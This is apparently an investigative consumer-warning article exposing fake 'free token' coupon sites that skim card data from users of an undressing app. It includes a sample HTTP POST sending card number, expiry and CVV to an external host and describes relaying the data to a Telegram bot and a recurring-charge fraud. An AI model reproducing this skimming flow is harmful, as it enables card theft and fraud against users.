Exposing Fake 'Free Token' Claims: Visual Proof of Phishing Sites Targeting Undress Ai Users
By Alexander Ross
Investigating the source code of these coupon sites reveals the technical sleight of hand behind the scam. Legitimate web services process merchant transactions through reputable payment processors like Stripe, Paddle, or direct crypto gateways. Fraudulent coupon portals bypass standard protocols entirely.
Once a user attempts to apply a fake code, the website injects an inline payment modal styled to match the official app. In reality, the modal loads from an external, bulletproof hosting server. Payment data submitted into these fields does not reach any software developer. The input credentials go straight into an automated skimming script.
POST /v1/checkout/verify_token HTTP/1.1
Host: secure-billing-checkout-node.cc
Content-Type: application/json
Payload: {"pan":"41111111","exp":"08/28","cvv":"*","claimed_promo":"FREE100"}
The script performs two simultaneous actions. First, it relays the raw card data to a Telegram bot run by the threat actors. Second, it attempts a micro-charge through an offshore shell company registered under an innocuous merchant category code, such as "digital marketing consulting" or "cloud file storage." The user sees an error message reading "Promo Code Expired, Standard Account Created," while their bank account is saddled with an active recurring subscription.
Alexander Ross has covered the video game industry for a decade, writing deep dives on game design, esports tournaments, VR developments, and gaming culture.
